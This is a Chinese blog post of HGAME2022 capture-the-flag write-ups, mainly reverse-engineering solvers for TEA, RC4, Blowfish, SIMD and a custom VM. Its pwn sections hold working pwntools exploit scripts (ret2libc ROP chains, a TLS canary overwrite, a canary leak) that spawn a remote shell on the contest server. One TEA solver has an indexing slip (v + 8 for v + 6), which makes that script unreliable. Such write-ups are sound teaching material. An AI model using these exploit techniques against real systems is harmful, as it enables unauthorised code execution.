Back
Featured image of post HGAME2022 writeups

HGAME2022 writeups

主要是 RE,其他的题目会挑着记录一下

Week1

[RE]easyasm

题目说 asm,那就硬看汇编呗

循环右移 4 位,然后异或 0x17

cipher = [
    0x91, 0x61, 0x01, 0xC1, 0x41, 0xA0, 0x60, 0x41, 0xD1, 0x21, 
    0x14, 0xC1, 0x41, 0xE2, 0x50, 0xE1, 0xE2, 0x54, 0x20, 0xC1, 
    0xE2, 0x60, 0x14, 0x30, 0xD1, 0x51, 0xC0, 0x17
]

def ror(x):
    return (x >> 4) | (x << 4) & 0xff

for c in cipher:
    print (chr(ror(c ^ 0x17)), end='')
# hgame{welc0me_to_4sm_w0rld}

[RE]creakme

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int i; // esi
  unsigned int v5; // edi
  unsigned int v6; // ebx
  int v7; // esi
  int v8; // esi
  _DWORD v10[17]; // [esp+Ch] [ebp-8Ch] BYREF
  _BYTE v11[32]; // [esp+50h] [ebp-48h]
  char Arglist[32]; // [esp+70h] [ebp-28h] BYREF
  int v13; // [esp+90h] [ebp-8h]
  int v14; // [esp+94h] [ebp-4h]

  memset(Arglist, 0, sizeof(Arglist));
  sub_40103A("%s", (char)Arglist);
  strcpy((char *)v10, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=");
  v3 = 0;
  v14 = 0;
  for ( i = 0; i < 32; v14 = i )
  {
    v5 = *(_DWORD *)&Arglist[i];
    v6 = *(_DWORD *)&Arglist[i + 4];
    v13 = 0;
    v7 = 32;
    do
    {
      v3 += 0x12345678;
      v5 += v3 ^ (v3 + v6) ^ (v10[2] + 16 * v6) ^ (v10[3] + (v6 >> 5));
      v6 += v3 ^ (v3 + v5) ^ (v10[0] + 16 * v5) ^ (v10[1] + (v5 >> 5));
      --v7;
    }
    while ( v7 );
    v8 = v14;
    v3 = 0;
    *(_DWORD *)&Arglist[v14] = v5;
    *(_DWORD *)&Arglist[v8 + 4] = v6;
    i = v8 + 8;
  }
  *(_OWORD *)v11 = *(_OWORD *)dword_402180;
  *(_OWORD *)&v11[16] = dword_402170;
  while ( Arglist[v3] == v11[v3] )
  {
    if ( ++v3 >= 32 )
    {
      sub_40100C("right!", v10[0]);
      return 0;
    }
  }
  sub_40100C("wrong!", v10[0]);
  return 0;
}

那一串字符串看似和 Base64 有关,其实加密就是 TEA

#include <stdio.h>
#include <stdint.h>

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t delta=0x12345678;
    uint32_t v0=v[0], v1=v[1], sum=delta * 32, i;
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
    for (i=0; i<32; i++) {
        v1 -= sum ^ ((v0<<4) + k0) ^ (v0 + sum) ^ ((v0>>5) + k1);
        v0 -= sum ^ ((v1<<4) + k2) ^ (v1 + sum) ^ ((v1>>5) + k3);
        sum -= delta;
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t v[]={1222194312u, 51123276u, 1391163586u, 3986482669u, 2921328102u, 3126465133u, 3482485930u, 1709241059u},k[4]={0x44434241,0x48474645,0x4c4b4a49,0x504f4e4d};
    decrypt(v, k);
    decrypt(v + 2, k);
    decrypt(v + 4, k);
    decrypt(v + 8, k);
    printf("%s", v);
    return 0;
}

[RE]Flag Checker

jeb 打开

package com.example.flagchecker;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.util.Base64;
import android.view.View.OnClickListener;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class MainActivity extends AppCompatActivity {
    public static byte[] encrypt(String arg4, String arg5) throws Exception {
        SecretKeySpec v0 = new SecretKeySpec(arg5.getBytes(), 0, arg5.length(), "RC4");
        Cipher v5 = Cipher.getInstance("RC4");
        v5.init(1, v0);
        return v5.doFinal(arg4.getBytes());
    }

    @Override  // android.support.v7.app.AppCompatActivity
    protected void onCreate(Bundle arg2) {
        super.onCreate(arg2);
        this.setContentView(0x7F09001C);  // layout:activity_main
        ((Button)this.findViewById(0x7F070022)).setOnClickListener(new View.OnClickListener() {  // id:button
            @Override  // android.view.View$OnClickListener
            public void onClick(View arg4) {
                String v4 = ((EditText)MainActivity.this.findViewById(0x7F070036)).getText().toString();  // id:editTextTextPersonName
                byte[] v2 = new byte[0];
                try {
                    v2 = MainActivity.encrypt(v4, "carol");
                }
                catch(Exception v4_1) {
                    v4_1.printStackTrace();
                }

                if(Base64.encodeToString(v2, 0).replace("\n", "").equals("mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=")) {
                    Toast.makeText(MainActivity.this, "Congratulations!!!", 1).show();
                    return;
                }

                Toast.makeText(MainActivity.this, "Fail,try again.", 1).show();
            }
        });
    }
}

RC4 + Base64

from base64 import *
from Crypto.Cipher import ARC4

cipher = b64decode(b'mg6CITV6GEaFDTYnObFmENOAVjKcQmGncF90WhqvCFyhhsyqq1s=')

key = b'carol'
rc4 = ARC4.new(key)

rc4.decrypt(cipher)
# b'hgame{weLC0ME_To-tHE_WORLD_oF-AnDr0|D}'

[RE]猫头鹰是不是猫

做了两次矩阵乘法,求解方法是先把两个常数矩阵乘起来,然后用 z3 求解

[Pwn]enter_the_pwn_land

经典 ret2libc

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("chuj.top", 34671)
# p = process(b'./a.out')

pop_rdi_ret = 0x401313
pop_rsi_r15_ret = 0x401311
puts_got = 0x404020
puts_plt = 0x401090
test_thread = 0x4011B6
main = 0x401260
ret = 0x40101a

pre_payload = b'a' * (0x30 - 0x4) + b'\x2c' + b'\x00' * 3 + b'b' * 8
payload = pre_payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)

p.sendline(payload)
p.recvline()
puts_addr = u64(p.recvline()[:-1] + b'\x00\x00')
print (hex(puts_addr))

puts_offset = 0x875A0
binsh_offset = 0x1B75AA
system_offset = 0x55410

libc_addr = puts_addr - puts_offset
binsh_addr = libc_addr + binsh_offset
system_addr = libc_addr + system_offset

payload = pre_payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload)
p.recvline()

p.interactive()

[Pwn]enter_the_evil_pwn_land

这道题目的难点在于 Canary 的绕过,用到了一个 ptrace 的特性,Canary 存储在 TLS 中,ptrace 时 TLS 距离栈较近,所以只需要疯狂往后覆盖就行,我这里覆盖了 0x900 位

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

p = remote("chuj.top", 35131)
# p = process('./a.out')

pop_rdi_ret = 0x401363
pop_rsi_r15_ret = 0x401361
puts_got = 0x404020
puts_plt = 0x4010A0
test_thread = 0x4011D6
main = 0x4012A3
ret = 0x40101a
# gdb.attach(p, 'thread 2\nb *0x401245')
pre_payload = b'a' * 0x28 + b'c' * 8 + b'b' * 8
payload = p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(test_thread)

p.sendline(pre_payload + payload + b'c' * 0x900)
print (p.recvline())
puts_addr = u64(p.recvline()[:-1] + b'\x00\x00')

puts_offset = 0x875A0
binsh_offset = 0x1B75AA
execv_offset = 0xE6450

libc_addr = puts_addr - puts_offset
binsh_addr = libc_addr + binsh_offset
execv_addr = libc_addr + execv_offset

payload = p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0) + p64(0) + p64(execv_addr)
p.sendline(pre_payload + payload + b'c' * 0x900)

p.interactive()

此外,这题还学到了 gdb 调试 threads 的技巧 info threads 可以查看当前的线程,thread i 可以切换到第 i 个线程

[Pwn]test_your_gdb

先调试拿到 password,然后就是简单的 ret2text 了

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# p = process(b'./a.out')
p = remote("chuj.top", 50748)

payload = b'\x47\xf1\x94\x82\x0e\x1e\x36\xb0\xa9\xa6\xd8\x4e\xc3\xe0\x09\x8c'
# gdb.attach(p)
p.recvuntil(b'pass word\n')
p.send(payload)
p.recv(0x18)
canary = p.recv(8)
p.recv(0x100 - 0x20)
payload = b'a' * 0x18 + canary + b'b' * 8 + p64(0x401256)
p.sendline(payload)

p.interactive()

Week2

[RE]xD MAZE

一维的迷宫,直接用 vscode 的小技巧转成 flag

选中 512 个 # 和后面的一个空格,然后 CTRL+SHIFT+L 全选,换成 3,以此类推

[RE]upx magic 0

把所有可见字符都算一遍,然后映射回去就行

def crc(x):
    x <<= 8
    for i in range(8):
        if x & 0x8000 != 0:
            x = (x * 2) ^ 0x1021
        else:
            x *= 2
        x &= 0xffff
    return x

a = []

for i in range(0x0, 0x80):
    a.append(crc(i))

cipher = [
  0x8D68, 0x9D49, 0x2A12, 0xAB1A, 0xCBDC, 0xB92B, 0x2E32, 0x9F59, 
  0xDDCD, 0x9D49, 0xA90A, 0xE70, 0xF5CF, 0xA50, 0x5AF5, 0xFF9F, 
  0x9F59, 0xBD0B, 0x58E5, 0x3823, 0xBF1B, 0x78A7, 0xAB1A, 0x48C4,
  0xA90A, 0x2C22, 0x9F59, 0x5CC5, 0x5ED5, 0x78A7, 0x2672, 0x5695
]

for c in cipher:
    print (chr(a.index(c)), end='')
# noW_YOu~koNw-UPx~mAG|C_@Nd~crC16

[RE]upx magic 1

发现没法自动脱壳,010 打开之后,手动把三个 UPX? 改成 UPX!,之后就能自动脱壳了

[RE]fake shell

RC4 + init 更换密钥

target = [
    0xB6, 0x94, 0xFA, 0x8F, 0x3D, 0x5F, 0xB2, 0xE0,
    0xEA, 0x0F, 0xD2, 0x66, 0x98, 0x6C, 0x9D, 0xE7,
    0x1B, 0x08, 0x40, 0x71, 0xC5, 0xBE, 0x6F, 0x6D,
    0x7C, 0x7B, 0x09, 0x8D, 0xA8, 0xBD, 0xF3, 0xF6
]

from Crypto.Cipher import ARC4

rc4 = ARC4.new(b'w0wy0ugot1t')

rc4.decrypt(bytes(target))

# b'hgame{s0meth1ng_run_bef0r_m4in?}'

或者直接动调也行

[RE]creakme2

在加密函数里看一下汇编,发现用了 try except 来构造了一个除 0 异常,当最高位为 0 时,异或一个 0x1234567

#include <stdio.h>
#include <stdint.h>

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B1;
    for (i=0; i < num_rounds; i++) {
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        if (sum >> 31 == 0)
            sum ^= 0x1234567;
        printf("%x\n", sum);
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
    printf("%x\n", sum);
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B1, sum=0xc78e4d05;
    for (i=0; i < num_rounds; i++) {
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        if (sum >> 31 == 0)
            sum ^= 0x1234567;
        sum -= delta;
        printf("%x\n", sum);
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}

int main()
{
    uint32_t v[]={0x457E62CF, 0x9537896C, 0x1F7E7F72, 0xF7A073D8, 0x8E996868, 0x40AFAF99, 0xF990E34, 0x196F4086};
    uint32_t const k[4]={1,2,3,4};
    unsigned int r=32;
    decipher(r, v, k);
    decipher(r, v + 2, k);
    decipher(r, v + 4, k);
    decipher(r, v + 6, k);
    printf("%s\n",v);
    return 0;
}

[Crypto]The Password Plus Pro Max Ultra

进行了一下数学推导

结论就是做 64 次加密就回来了

最后求解

from functools import reduce
from operator import xor
from random import sample
from re import findall
from libnum import s2n

def move(n, k):
    s = bin(n)[2:].zfill(64)
    k &= 63
    return int(s[k:] + s[:k], 2)

def encrypt(x, ks):
    return xor(x, reduce(xor, map(lambda k: move(x, k), ks)))

def decrypt(x, ks):
    for _ in range(63):
            x = encrypt(x, ks)
    return x

ks = [[8, 35], [19, 29, 30, 45],  [6, 16, 18, 21, 44, 55],  [10, 26, 30, 46, 51, 54, 58, 63], [5, 13, 25, 29, 37, 39, 43, 52, 53, 59], [1, 26, 31, 39, 40, 41, 43, 45, 49, 52, 54, 62], [8, 12, 19, 20, 30, 32, 34, 40, 41, 45, 46, 49, 55, 58], [2, 3, 5, 6, 8, 10, 15, 19, 26, 27, 33, 40, 42, 47, 52, 61],  [1, 16, 17, 27, 28, 30, 32, 36, 37, 38, 39, 48, 49, 51, 55, 57, 59, 62],  [5, 11, 12, 20, 22, 23, 25, 27, 31, 32, 33, 37, 44, 45, 49, 52, 53, 59, 61, 62], [2, 7, 10, 12, 18, 19, 20, 22, 26, 29, 33, 34, 38, 40, 41, 45, 46, 51, 54, 56, 57, 60], [3, 4, 5, 9, 12, 13, 18, 19, 21, 23, 24, 25, 30, 33, 34, 35, 37, 39, 43, 44, 46, 49, 50, 53], [1, 3, 6, 7, 10, 11, 13, 14, 23, 27, 32, 33, 35, 37, 39, 41, 46, 48, 49, 50, 51, 53, 54, 56, 58, 62]]
xs = [2656224875120172108 , 1261711348908201279 , 18219282869614004824, 15279054981769814589, 7966355346882200701 , 5641592208539483808 , 1502927090219059154 , 3996223120734273799 , 18295033054788808618, 18126228466291248047, 9413762634844369954 , 8964324149921197550 , 6962485320551449848 ]

from libnum import n2s
for i in range(len(xs)):
    y = decrypt(xs[i], ks[i])
    print (n2s(y).decode(), end='')
# hgame{XOr|RoR&rOl|Is+vERY#coMmon*BiTwisE$OPeraTiOn*IT@is%oFten,ENCOUntErED*in.syMMeTRic?encryPtION}

据说这个加密方法和求逆多项式还有关系,很神奇

Week3

[RE]Answer’s windows

使用 right.png 字符串能够定位到验证函数

动调发现使用了 string 的存储方式(好像就是把 string 内联了),只使用了 Base64 编码

但 base 表和目标对应不上,显然是有反调试,自己做的时候直接猜到了真实表是 ascii 的前 64 个可见字符

或者根据交叉引用找到 debug,把反调试判断 nop 掉再动调即可

[RE]creakme_3

PPC 架构,用 ghidra 看的

undefined4 main(void)

{
  int fs;
  int randnum;
  int j;
  int order_cnt;
  int i;
  int order [89];
  int canary;
  
  canary = *(int *)(fs + -0x7008);
  memset(order,0,0x164);
  printf("Welcome my whitegive re task! This is your flag: ");
  do {
    for (j = 0; j < 0x59; j = j + 1) {
      randnum = rand();
      order[j] = randnum % 0x59;
    }
    order_cnt = 1;
    while ((order_cnt < 0x59 && (a[order[order_cnt + -1] * 2 + 1] <= a[order[order_cnt] * 2 + 1])))
    {
      order_cnt = order_cnt + 1;
    }
  } while (order_cnt != 0x59);
  for (i = 0; i < 0x59; i = i + 1) {
    putchar(a[order[i] * 2]);
  }
  if (canary == *(int *)(fs + -0x7008)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

手动恢复了一下符号,简单的说就是只有满足顺序都是 <= 的时候才能退出第一个循环,所以 rand() 只是个忽悠人并且浪费时间的东西(后来知道这个东西叫猴子加密)

所以提取一下数字然后排序就行

a = [
    (0x30, 0x4E7D),
    (0x30, 0x67BD),
    (0x30, 0x7A48),
    (0x30, 0x82A2),
    (0x30, 0x933E),
    (0x31, 0x9C18),
    (0x32, 0x5AFF),
    (0x32, 0x6CD7),
    (0x32, 0xA6CA),
    (0x32, 0xBD79),
    (0x32, 0xCEBD),
    (0x33, 0x324A),
    (0x33, 0x3292),
    (0x33, 0x3905),
    (0x33, 0x4291),
    (0x33, 0x5ADE),
    (0x33, 0x6E9F),
    (0x33, 0xA52A),
    (0x33, 0xBE35),
    (0x33, 0xCB63),
    (0x35, 0x7F3B),
    (0x38, 0x3914),
    (0x38, 0xB2AD),
    (0x39, 0x38DA),
    (0x39, 0x4E50),
    (0x39, 0x6A02),
    (0x39, 0xB10F),
    (0x42, 0x78E5),
    (0x5F, 0x7EF6),
    (0x5F, 0x89A3),
    (0x5F, 0x8EBD),
    (0x5F, 0x95E3),
    (0x61, 0x73DA),
    (0x64, 0x538C),
    (0x64, 0x633B),
    (0x64, 0x9E9C),
    (0x64, 0xB78B),
    (0x64, 0xC866),
    (0x65, 0x32AE),
    (0x65, 0x7679),
    (0x66, 0x2AE7),
    (0x66, 0x4D6A),
    (0x66, 0x5708),
    (0x66, 0x6610),
    (0x66, 0xA258),
    (0x66, 0xB80C),
    (0x66, 0xC885),
    (0x67, 0x710A),
    (0x67, 0x7CF4),
    (0x68, 0x3F76),
    (0x68, 0x702B),
    (0x68, 0xA3EE),
    (0x68, 0xAD50),
    (0x68, 0xBAC7),
    (0x69, 0x4024),
    (0x69, 0x8A22),
    (0x69, 0xC055),
    (0x6A, 0x2B52),
    (0x6A, 0xC687),
    (0x6B, 0x5F00),
    (0x6B, 0xC417),
    (0x6C, 0x6182),
    (0x6D, 0x75DB),
    (0x6E, 0x3C61),
    (0x6E, 0x4996),
    (0x6E, 0x5DC1),
    (0x6F, 0x2D76),
    (0x6F, 0x7D17),
    (0x6F, 0xA91B),
    (0x70, 0x9AED),
    (0x72, 0x45D0),
    (0x72, 0x8467),
    (0x72, 0xAB5D),
    (0x73, 0x5083),
    (0x73, 0x6222),
    (0x73, 0x8D93),
    (0x73, 0x923A),
    (0x73, 0x971E),
    (0x73, 0xB4BA),
    (0x73, 0xC785),
    (0x74, 0x3558),
    (0x74, 0x86BD),
    (0x74, 0x9738),
    (0x75, 0x3710),
    (0x75, 0x9779),
    (0x77, 0x2F3F),
    (0x77, 0x44DD),
    (0x7B, 0x78E1),
    (0x7D, 0x9F42)
]

def takeSecond(elem):
    return elem[1]

a.sort(key=takeSecond)

for i in a:
    print (chr(i[0]), end='')
# fjow33etu938nhi3wrnf90sdf32nklsdf0923hgame{B0go_50rt_is_s0_stup1d}fh32orh98sdfh23ikjsdf32

[RE]fishman

pyd逆向

定位函数

搜索字符串,能看到几个函数名

比如 init 函数就是 sub_180002670

密码算法识别+求解

查看一下 initcheck 函数,这题使用的是 blowfish 密码,之前没有遇到过,所以是靠着 findcrypt 脚本识别出来的

顺便放一下搜到的加密算法源码,来源是 https://gitee.com/miao123456miao/blowfish2(github 连不上,呜呜呜)

这是一个分组密码,主要的特征就是 f 函数

剩下的也没什么特别的,贴一下求解脚本吧

ddl 师傅发现这个在 kali 上编译后会出现乱码,主要原因在于 kali 上编译后会把 low 放在低地址而 Ubuntu 会放在高地址,所以直接 write(1, &high, 8) 就无法打印到 low,修改为 write(1, &high, 4); write(1, &low, 4); 就能解决这个问题。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "blowfish.h"

void swap(uint32_t* a, uint32_t* b) {
    uint32_t tmp;
    
    tmp = *a;
    *a = *b;
    *b = tmp;
}

uint32_t blowfish_f(blowfish_t* container, uint32_t input) {
    uint8_t a, b, c, d;
    
    a = input >> 24;
    b = (input >> 16) & 0xff;
    c = (input >> 8) & 0xff;
    d = input & 0xff;
    
    return ((container->s[0][a] + container->s[1][b]) ^ container->s[2][c]) +
            container->s[3][d];
}

void blowfish_cipher(blowfish_t* container, uint32_t* xl, uint32_t* xr, uint8_t mode) {
    int i;
    uint32_t loc_xl, loc_xr;
    
    loc_xl = *xl;
    loc_xr = *xr;
    
    if(mode == BLOWFISH_ENCRYPT) {
        for(i = 0; i < PASSES; i++) {
            loc_xl = loc_xl ^ container->p[i];
            loc_xr = blowfish_f(container, loc_xl) ^ loc_xr;
        
            swap(&loc_xl, &loc_xr);
        }
    } else if(mode == BLOWFISH_DECRYPT) {
        for(i = PASSES+1; i > 1; i--) {
            loc_xl = loc_xl ^ container->p[i];
            loc_xr = blowfish_f(container, loc_xl) ^ loc_xr;
        
            swap(&loc_xl, &loc_xr);
        }
    }
        
    swap(&loc_xl, &loc_xr);
    
    if(mode == BLOWFISH_ENCRYPT) { 
        loc_xr = loc_xr ^ container->p[PASSES];
        loc_xl = loc_xl ^ container->p[PASSES+1];
    } else if(mode == BLOWFISH_DECRYPT) {
        loc_xr = loc_xr ^ container->p[1];
        loc_xl = loc_xl ^ container->p[0];
    }
    
    *xl = loc_xl;
    *xr = loc_xr;
}

blowfish_t* blowfish_initialize(unsigned char* key, uint32_t length) {
    blowfish_t* container = malloc(sizeof(blowfish_t));
    unsigned int i, ii, j = 0;
    uint32_t tmp, tmp_l = 0, tmp_r = 0;  

    if(length > BLOWFISH_MAX_KEY_BYTES) return (blowfish_t*) NULL;

    for(i = 0; i < PASSES+2; i++) {
        container->p[i] = P[i];
    }
    
    for(i = 0; i < SBOXES; i++) {
        for(ii = 0; ii < 256; ii++) {
            container->s[i][ii] = S[i][ii];
        }
    }
    
    for(i = 0; i < PASSES+2; i++) {
        tmp = 0;
        for(ii = 0; ii < 4; ii++) {
            tmp = (tmp << 8) | key[j];
            j++;
            if(j == length) 
                j = 0;
        }
        container->p[i] = container->p[i] ^ tmp;
    }

    for(i = 0; i < PASSES+1; i += 2) {
        blowfish_cipher(container, &tmp_l, &tmp_r, BLOWFISH_ENCRYPT);
        container->p[i] = tmp_l;
        container->p[i+1] = tmp_r;
    }
    
    for(i = 0; i < SBOXES; i++) {  
        for(ii = 0; ii < 256; ii += 2) { 
            blowfish_cipher(container, &tmp_l, &tmp_r, BLOWFISH_ENCRYPT);
            container->s[i][ii] = tmp_l;
            container->s[i][ii+1] = tmp_r;
        }
    }
}

int main(int argc, char** argv) {
    uint32_t high, low;
    blowfish_t* container = blowfish_initialize("LET_U_D", 7);
    high = 1416580799u;
    low = 3035468667u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    // write(1, &high, 8);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 2194841726u;
    low = 332656605u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    // write(1, &high, 8);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 571059727u;
    low = 1498341217u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    // write(1, &high, 8);
    write(1, &high, 4);
    write(1, &low, 4);
    high = 3107158060u;
    low = 470279474u;
    blowfish_cipher(container, &high, &low, BLOWFISH_DECRYPT);
    // write(1, &high, 8);
    write(1, &high, 4);
    write(1, &low, 4);
    return 0;
}

blowfish.h 去仓库找就行

试了一下 pycrypto 库,解出来的有问题,可能库的实现和这个有区别,没深入研究

week4

[RE]hardasm

全是 simd,反着执行回去就行,或者可以试试正着用 z3 解

这个脚本因为有些指令的某一个参数是不变的(比如 vpermd ymmX, ymm7, ymmX),所以偷懒了

asm = '''\
vpermd  ymm4, ymm7, ymm4
...
vpermd  ymm1, ymm7, ymm1'''

ymm0 = b'\x93\xcb\xe7\x93\xa9\x81\r\xb6\xd8\xdd\x9c\x7f\xc0M\xcd\xf0\x00\xa0\x9f"\x89\xefT]\xef\x00\x8d\xfe^L\xd0\xec'
ymm1 = b'i\xcf\x8e\xb3\xf8\x98\x90\x0b\\&}\xcf\x8c$\x1d\x96s\x8b\xc7\xaa\xfc\xaf\xfd\x91F3e\xb8#z\xcd\xa5'
ymm2 = b"\xff\x83\xf3\xdf\xec\x00\x8e\x92OL\x97O'D\x7f\xa4\xe3N\xbf$d\xdd*T\xc3i\xb2\x82q\xa0\x1b\xf5"
ymm3 = b'\xb4\xc7lj\xfb\x1fp\xf5}\xc9\r\x1b\xb4\xe5\xffEN^\x95]\xef\x8e@\x8d\x9a\xf9\xd1\x92\x8b\xbf}\xbb'
ymm4 = b'\xca}6\xf7\xc5\xcb\x90\xb9B\x96\xe0\xa55sL\xf7\xa9\x9d\x87\xa1\xc2r\x8b\xe8\x9af\t*\xe6%\x04\xd1'
ymm5 = b')\x9d\x0bGy\x1a\xa4\x97\x02\xbf\x13\x9e\xa0\xd2\xa4m?_=M4\xea\xeeRa\x97e\xb4\x04\x91\xd8W'
ymm6 = b'\x00\x01\x08\t\n\x02\x03\x04\x05\x0c\r\x0e\x06\x07\x0b\x0f\x00\x06\x07\x08\t\n\x02\x03\x04\x05\r\x0e\x0b\x0c\x01\x0f'
ymm7 = b'\x00\x00\x00\x00\x04\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x06\x00\x00\x00\x07\x00\x00\x00'

def rev_vpermd(x, y):
    """
    origin:
        from: b"3_bh" b"\rd\xa8\xff\x8f\x99\xa7\x94\x9e\x9a)4" b"'6\xd6\x82\xc2m\xe8\xaa" b"\x96Je\xc0\x0c7\x19\xc9"
        to  : b"3_bh" b"'6\xd6\x82\xc2m\xe8\xaa" b"\rd\xa8\xff\x8f\x99\xa7\x94\x9e\x9a)4" b"\x96Je\xc0\x0c7\x19\xc9"
    """
    return y[:4] + y[12:24] + y[4:12] + y[24:]

def rev_vpxor(x, y):
    return bytes([a ^ b for a, b in zip(x, y)])

def rev_vpaddb(x, y):
    return bytes([(a - b) & 0xff for a, b in zip(x, y)])

def rev_vpsubb(x, y):
    return bytes([(a + b) & 0xff for a, b in zip(x, y)])

def rev_vpshufb(x, y):
    """
    origin:
        from: b'\x89\xa1' b'>\xc0\xe5\x14' '_\xc5' '_\x14\xb0' '\xd0' '%\x1f\xe8' '\xf5\xb0' '4' '6\xc2\xc7\xa0' '\xb2<^~\x9c' '\xa4\x98' '\xe8T' '\x0b'
        to  : b'\x89\xa1' b'_\x14\xb0' '>\xc0\xe5\x14' '%\x1f\xe8' '_\xc5' '\xd0' '\xf5\xb0' '\xb2<^~\x9c' '6\xc2\xc7\xa0' '\xe8T' '\xa4\x98' '4' '\x0b'
    """
    return x[:2] + x[5:9] + x[12:14] + x[2:5] + x[14:15] + x[9:12] + x[15:17]+ x[30:31] + x[22:26] + x[17:22] + x[28:30] + x[26:28] + x[31:]

for a in asm.split('\n')[::-1]:
    b = a.replace(',', '').split()
    exec(f'{b[1]} = rev_{b[0]}({b[2]}, {b[3]})')
print (ymm0)

ida 动调的时候要知道寄存器的值,可以用 idapython 的 get_reg_value("ymm0") 指令不知道什么意思的话动调看一下变化就行

[RE]ezvm

把几个指令整理一下

能够看出特定用途的几个寄存器:

[8]: ZF 相等为 0,大于为 1,小于为 -1 [9]: stack [9 + 100]: code [9 + 200]: data

其他的应该都是 rax 之类的

总结的几个指令:

op disasm
0 mov r3, r2
1 inc r2
2 dec r2
3 xor r3, r7
4 push r3
5 push r5
6 push r6
7 pop r3
8 pop r5
9 pop r6
10 pop r2
11 pop r7
12 jz $+1+r6
13 jnz $+1+r6
14 jmp $+1+r2
15 cmp r3, r5
16 getchar(r3)
17 putchar(r3)
18 push *((r4++)+0xD1)
19 mov r3, [rbp+r2]
20 mov [rbp+r2], r3
21 add r3, r3

接下来就是反汇编了

code = [
    0x12, 8, 0x12, 9, 0x10, 4, 1, 0x0F, 
    0x0D, 2, 0x12, 8, 0x12, 9, 0, 4, 0x0F, 0x0D,
    0x12, 9, 0x12, 0x0A, 0x13, 0x12, 0x0B, 0x15, 
    3, 0x14, 1, 0, 0x0F, 0x0D, 0x12, 0x0A,
    0x12, 0x12, 0x12, 8, 0x13, 0x0F, 7, 4, 9, 
    0x0D, 9, 8, 5, 6, 4, 1, 0, 0x0F,
    0x0D, 0x12, 9, 0x12, 8, 0x12, 0x0A, 
    0x12, 7, 0x0F, 0x0C, 0x11, 0x0E
]

def disasm(i, c):
    if c == 0:
        print ("_%02X:\t" % i + "mov [3], [2]")
    elif c == 1:
        print ("_%02X:\t" % i + "inc [2]")
    elif c == 2:
        print ("_%02X:\t" % i + "dec [2]")
    elif c == 3:
        print ("_%02X:\t" % i + "xor [3], [7]")
    elif c == 4:
        print ("_%02X:\t" % i + "push [3]")
    elif c == 5:
        print ("_%02X:\t" % i + "push [5]")
    elif c == 6:
        print ("_%02X:\t" % i + "push [6]")
    elif c == 7:
        print ("_%02X:\t" % i + "pop [3]")
    elif c == 8:
        print ("_%02X:\t" % i + "pop [5]")
    elif c == 9:
        print ("_%02X:\t" % i + "pop [6]")
    elif c == 10:
        print ("_%02X:\t" % i + "pop [2]")
    elif c == 11:
        print ("_%02X:\t" % i + "pop [7]")
    elif c == 12:
        print ("_%02X:\t" % i + "jz $+1+[6]")
    elif c == 13:
        print ("_%02X:\t" % i + "jnz $+1+[6]")
    elif c == 14:
        print ("_%02X:\t" % i + "jmp $+1+[2]")
    elif c == 15:
        print ("_%02X:\t" % i + "cmp [3], [5]")
    elif c == 16:
        print ("_%02X:\t" % i + "getchar([3])")
    elif c == 17:
        print ("_%02X:\t" % i + "putchar([3])")
    elif c == 18:
        print ("_%02X:\t" % i + "push *(([4]++)+0xD1)")
    elif c == 19:
        print ("_%02X:\t" % i + "mov [3], [rbp+[2]]")
    elif c == 20:
        print ("_%02X:\t" % i + "mov [rbp+[2]], [3]")
    elif c == 21:
        print ("_%02X:\t" % i + "add [3], [3]")

也许跟着 log 一起看比较好,这里就直接对着 data 里的数据看了

_00:    push 0x0A
_01:    pop [5]
_02:    push -5
_03:    pop [6]

_04:    getchar([3])
_05:    push [3]
_06:    inc [2]
_07:    cmp [3], [5]
_08:    jnz $+1+[6]
_09:    dec [2]

这个 jnz 的循环是 getchar() 直到读取到 \n

接下来是个对长度做了限制

_0A:    push 0x20
_0B:    pop [5]
_0C:    push 0x2F
_0D:    pop [6]
_0E:    mov [3], [2]
_0F:    push [3]
_10:    cmp [3], [5]
_11:    jnz $+1+[6]

这里先 add 自身,然后依次异或 data 中的数据(第一个是 0x5e)

_12:    push -10
_13:    pop [6]
_14:    push 0
_15:    pop [2]
_16:    mov [3], [rbp+[2]]
_17:    push 0x5e (next_mem)
_18:    pop [7]
_19:    add [3], [3]
_1A:    xor [3], [7]
